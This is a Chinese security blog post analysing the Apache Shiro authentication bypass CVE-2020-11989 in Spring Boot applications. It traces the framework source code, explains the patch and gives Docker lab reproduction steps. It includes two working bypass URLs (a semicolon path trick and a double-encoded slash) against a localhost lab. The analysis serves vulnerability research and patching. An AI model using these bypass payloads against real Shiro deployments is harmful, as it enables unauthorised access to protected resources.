聚焦源代码安全,网罗国内外最新资讯!

1.1 状态

完成漏洞挖掘条件分析、漏洞复现。

1.2 简介

Apache Shiro作为Java框架,可被用于身份认证、授权等任务。

整合Apache Shiro至Spring Boot中时,请求可能会导致越权绕过身份验证现象的出现,存在两种较好的利用现象,称为利用方法1和利用方法2。

存在安全缺陷的版本:Apache Shiro 1.5.3以前的版本。JDK:1.8.0_181。

1.3 漏洞挖掘能力条件

  • 应清晰Spring Boot、Apache Shiro框架源码的逻辑功能。

  • 清晰常见的反过滤、非常规字符的特点。

1.4 利用方法1

1.4.1 环境

设置Tomcat根目录为“/test/”【仅Apache Shiro 1.5.2有此严格限制】,端口为8088;设置“./admin/*”路径需要认证访问,成功则显示“hello, admin page”,具体配置见源代码 (https://github.com/HYWZ36/HYWZ36-CVE-2020-11989-code/tree/main/springboot-shiro-master0)。

1.4.2 目标

绕过认证访问“./admin/*”路径。

1.4.3 分析方法

对于输入的恶意URL“http://localhost:8088/;/test/admin/page”,首先采用Shiro进行权限验证处理。Shiro框架的decodeAndCleanUriString方法会根据“;”截取URI“/;/test//admin/page”的前部分内容,从而使得此请求通过权限验证。依次经过的重要类、方法如下:

类+方法

关键内容

org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain

-

org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getPathWithinApplication

String contextPath = getContextPath(request);   【=”/;/test”】
  String requestUri = getRequestUri(request);

#输出内容作为Shiro的权限验证输入值

if   (StringUtils.startsWithIgnoreCase(requestUri, contextPath)) {

// Normal case: URI contains   context path.

String path =   requestUri.substring(contextPath.length());

return (StringUtils.hasText(path)   ? path : "/");

} else {

// Special case: rather unusual.

return requestUri;

}

org.apache.shiro.web.util.WebUtils#getRequestUri

uri =   valueOrEmpty(request.getContextPath()) + "/" +                    valueOrEmpty(request.getServletPath()) +                    valueOrEmpty(request.getPathInfo());【=”/;/test//admin/page”】

return   normalize(decodeAndCleanUriString(request, uri));

org.apache.shiro.web.util.WebUtils#decodeAndCleanUriString

int semicolonIndex = uri.indexOf(';');

随后,在Spring框架中解析URL。关键点是在解码过程中,仅剔除URI中“;”而保全其他所有内容,从而解析得目标路径“/admin/page”。依次经过的重要类、方法如下:

类+方法

关键内容

org.springframework.web.util.UrlPathHelper#getPathWithinServletMapping

String pathWithinApp =   getPathWithinApplication(request);

String servletPath =   getServletPath(request);

return servletPath;

org.springframework.web.util.UrlPathHelper#getPathWithinApplication

String contextPath =   getContextPath(request); 【=”/;/test”】

String requestUri =   getRequestUri(request);

return requestUri;

org.springframework.web.util.UrlPathHelper#getRequestUri

String uri = (String)   request.getAttribute(WebUtils.INCLUDE_REQUEST_URI_ATTRIBUTE); 【=”/;/test/admin/page”】

return decodeAndCleanUriString(request,   uri);

org.springframework.web.util.UrlPathHelper#decodeAndCleanUriString

uri = removeSemicolonContent(uri); 【="//test/admin/ page"】

uri = decodeRequestString(request, uri); 【=" / /test/ admin / page”】

uri = getSanitizedPath(uri); 【=" / /test/ admin/ page”】

return uri;

org.springframework.web.util.UrlPathHelper#getServletPath

String servletPath = (String)   request.getAttribute(WebUtils.INCLUDE_SERVLET_PATH_ATTRIBUTE); 【=”/admin/page”】

return servletPath; 【=”/admin/page”】

1.5 利用方法2

1.5.1 环境

设置Tomcat根目录为“/test/”【仅Apache Shiro 1.5.2有此严格限制】,端口为8081;设置“./admin/*”路径需要认证访问,成功则显示“hello,admin”,具体配置见源代码 (https://github.com/HYWZ36/HYWZ36-CVE-2020-11989-code/tree/main/springboot-shiro-master)。

1.5.2 目标

绕过认证访问“./admin/{name}”路径。

1.5.3 分析方法

对于输入的恶意URL“http://localhost:8081/test/admin/a%25%32%66a”,首先采用Shiro进行权限验证处理。Shiro框架的decodeRequestString方法会进行两次解码得到URI“/admin/a/a”,并因其分割后的数组长度大于模板“/admin/*”而使得此请求通过权限验证。依次经过的重要类、方法如下:

类+方法

关键内容

org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain

String requestURI =   getPathWithinApplication(request);

if (pathMatches(pathPattern, requestURI))   {……

return null;

org.apache.shiro.web.util.WebUtils#getPathWithinApplication

String contextPath =   getContextPath(request); 【=”/test”】

String requestUri =   getRequestUri(request);

org.apache.shiro.web.util.WebUtils#getRequestUri

uri =   valueOrEmpty(request.getContextPath()) + "/"   +valueOrEmpty(request.getServletPath()) +valueOrEmpty(request.getPathInfo());   【=" /test/ / admin/a%2fa "】

return   normalize(decodeAndCleanUriString(request, uri));

org.apache.shiro.web.util.WebUtils#decodeAndCleanUriString

uri = decodeRequestString(request, uri);

return (semicolonIndex != -1 ?   uri.substring(0, semicolonIndex) : uri);

org.apache.shiro.web.util.WebUtils#decodeRequestString

return URLDecoder.decode(source, enc);

java.net.URLDecoder#decode(java.lang.String,   java.lang.String)

#可解码“%2f”为“/”

while (i < numChars) {

c = s.charAt(i);

switch (c) {

case '+':

sb.append(' ');

i++;

needToChange = true;

break;

case '%':…………

return (needToChange? sb.toString() : s);   【=”/test//admin/a/a”】

org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#pathMatches

return pathMatcher.matches(pattern,   path); 【pattern : " / admin/*",source: " / admin/ a / a "】

org.apache.shiro.util.PatternMatcher#matches

return match(pattern, source);

org.apache.shiro.util.AntPathMatcher#doMatch

#判断得模板长度短于URI长度,说明URI和当前模板不属于同一类。

if (pathIdxStart > pathIdxEnd) {

// Path is exhausted, only match   if rest of pattern is * or **'s

……

} else if (pattIdxStart > pattIdxEnd)   {

// String not exhausted, but   pattern is. Failure.

return false;

随后,在Spring框架中解析URL。关键点是在解码过程中,仅解码得路径是“/test/admin/a%252f”,因此符合“/admin/{name}”规则得以正常访问。依次经过的重要类、方法如下:

类+方法

关键内容

javax.servlet.Servlet#service

-

javax.servlet.http.HttpServlet#doGet

-

1.6 补丁分析

如下图,修改了org.apache.shiro.web.util.WebUtils#getPathWithinApplication,采用两个标准方法获取URI有效应对了“/;/…”安全缺陷,且无解码操作从而有效应对了“a%25%32%66a”安全缺陷。

1.7 docker复现

加载容器tar为镜像的例子:

cat ./ubuntu-xxx.tar | docker import - ubuntu-new

设置局域网及容器ip、启动容器的例子:

(1)自定义网络

docker network create --subnet=192.168.10.1/24 testnet

(2)启动docker容器

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

镜像名称为ubuntu_cve-2020-11989:v1,需开启8088和8081的端口映射功能。

启动进入容器后,复现利用方法1。切换到目录【/springboot-shiro-master0/target】下,执行命令【java -jar srpingboot-shiro-0.0.1-SNAPSHOT.jar】。随后在宿主机浏览器输入【http://localhost:8088/;/test/admin/page】,成功访问表明复现成功,如下图。

复现利用方法2。中断当前程序,切换到目录【/springboot-shiro-master1/target】下,执行命令【java -jar srpingboot-shiro-0.0.1-SNAPSHOT.jar】。随后在宿主机浏览器输入【http://localhost:8081/test/admin/a%25%32%66a】,成功访问表明复现成功,如下图。

1.8 参考资料

  • https://www.freebuf.com/vuls/249380.html

  • https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/

  • idea 快速创建spring boot项目 以及打包 - 知乎

    https://zhuanlan.zhihu.com/p/149736921

推荐阅读

CVE-2020-15999:Chrome FreeType 字体库堆溢出原理分析

PHP 绕过禁用函数漏洞的原理与利用分析

Apache Solr 未授权上传(RCE)漏洞(CVE-2020-13957)的原理分析与验证

题图:Pixabay License

本文由奇安信代码安全实验室原创,转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

 觉得不错,就点个 “在看” 吧~

Apache Shiro权限绕过漏洞 (CVE-2020-11989) 挖掘分析和复现相关推荐

  1. 众至科技:漏洞通告 | 微软10月发布多个安全漏洞;Apache Shiro权限绕过漏洞;Apache Commons存在代码执行漏洞

    微软发布10月多个安全漏洞 1.漏洞概述 2022年10月11日,微软发布了10月安全更新,此次更新修复了包括2个0 day漏洞在内的84个安全漏洞(不包括10月3日修复的12个Microsoft   ...

  2. CVE-2020-17510: Apache Shiro 权限绕过漏洞通告

    原创 360CERT [三六零CERT](javascript:void(0)

  3. shiro权限绕过漏洞

    1.shiro权限绕过漏洞 1.1.漏洞成因分析 Apahce Shiro 由于处理身份验证请求时出错,存在"权限绕过漏洞"(漏洞编号:CVE-2020-11989),远程攻击者可 ...

  4. Shiro 权限绕过漏洞分析(CVE-2020-1957)

    1## 前言 2020年3月23号,Shiro开发者Brian Demers在用户社区发表帖子,提醒shiro用户进行安全更新,本次更新进行了三个修复,其中就包括了对编号为CVE-2020-1957的 ...

  5. Shiro权限绕过漏洞分析(CVE-2020-1957)

    这篇是实战:https://xz.aliyun.com/t/10328,不过中间的以下条件的"2.要以路径通配符**结尾"是错的,这个不是条件,只要让路径规范化处理完后匹配上ano ...

  6. 漏洞复现 | Apache Shiro 授权绕过漏洞(CVE-2022-32532)

    0x00 漏洞描述 Apache Shiro 是一套用于执行认证.授权.加密和会话管理的 Java 安全框架.2022年06月29日 APache 官方发布了一则关于 Apache Shiro 的安全 ...

  7. Apache Shiro 认证绕过漏洞(CVE-2020-1957)

    文章目录 漏洞描述(介绍.成因) 漏洞危害 适用场景 实验环境 漏洞复现过程 1. 开启docker环境 2. 构造url绕过验证 URL请求过程 修复建议 漏洞描述(介绍.成因) 使用 Apache ...

  8. Apache Qpid 认证绕过漏洞

    漏洞名称: Apache Qpid 认证绕过漏洞 CNNVD编号: CNNVD-201303-222 发布时间: 2013-03-13 更新时间: 2013-03-13 危害等级:    漏洞类型: ...

  9. couchdb 垂直权限绕过漏洞(cve-2017-12635)

    Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和 ...

最新文章

  1. NET快速开发实践中的IExtenderProvider扩展组件
  2. Hibernate之N+1问题
  3. 【数据结构与算法】之深入解析“学生出勤记录II”的求解思路与算法示例
  4. 从壹开始 [ Ids4实战 ] 之三║ 详解授权持久化 用户数据迁移
  5. 有问有答 | 分布式服务框架精华问答
  6. BugkuCTF-MISC题神奇宝贝
  7. 网站开发技巧参考大全 event js
  8. LockDemo 锁对象
  9. iPhone 12还没出,iPhone 13开始了:将采用120Hz ProMotion显示屏
  10. iPhone 6/6 Plus 出现后,如何改进工作流以实现一份设计稿支持多个尺寸?
  11. 基于SSM的学生宿舍管理系统
  12. 亮晶晶幼儿园家校沟通平台的设计与实现
  13. dw网页制作的基本步骤_dreamweaver制作网页详细步骤(设计网站首页)
  14. 用python语言实现人工智能猴子摘香蕉的问题_人工智能 猴子香蕉问题
  15. SpringBoot海景房出租管理系统+代码讲解
  16. 【渝粤教育】国家开放大学2018年秋季 8180-22T (1)畜禽生产概论 参考试题
  17. Devoxx法国2012天3
  18. 对比Windows Phone与iOS、Android开发的不同[转]
  19. 解决“com.android.dex.DexIndexOverflowException: method ID not in [0, 0xffff]: 65536”问题
  20. 关键字与保留词,ES2020版

热门文章

  1. Spring Boot 2.1.4 发布,提醒全体用户升级 2.1
  2. Spring MVC之基于xml配置的web应用构建
  3. 如何让隐藏在大数据背后的价值发挥出来?
  4. 为什么 Cloudera 要创建 Hadoop 安全组件 Sentry ?
  5. Linux内核之数据双链表
  6. 最简单的php导出excel文件方法
  7. 中英文组织机构名过滤
  8. 轻量型thttpd+php5
  9. CSDN Blog首页新增栏目和二级页面通告
  10. 理解 Android 的 ONE_SHOT_MAKEFILE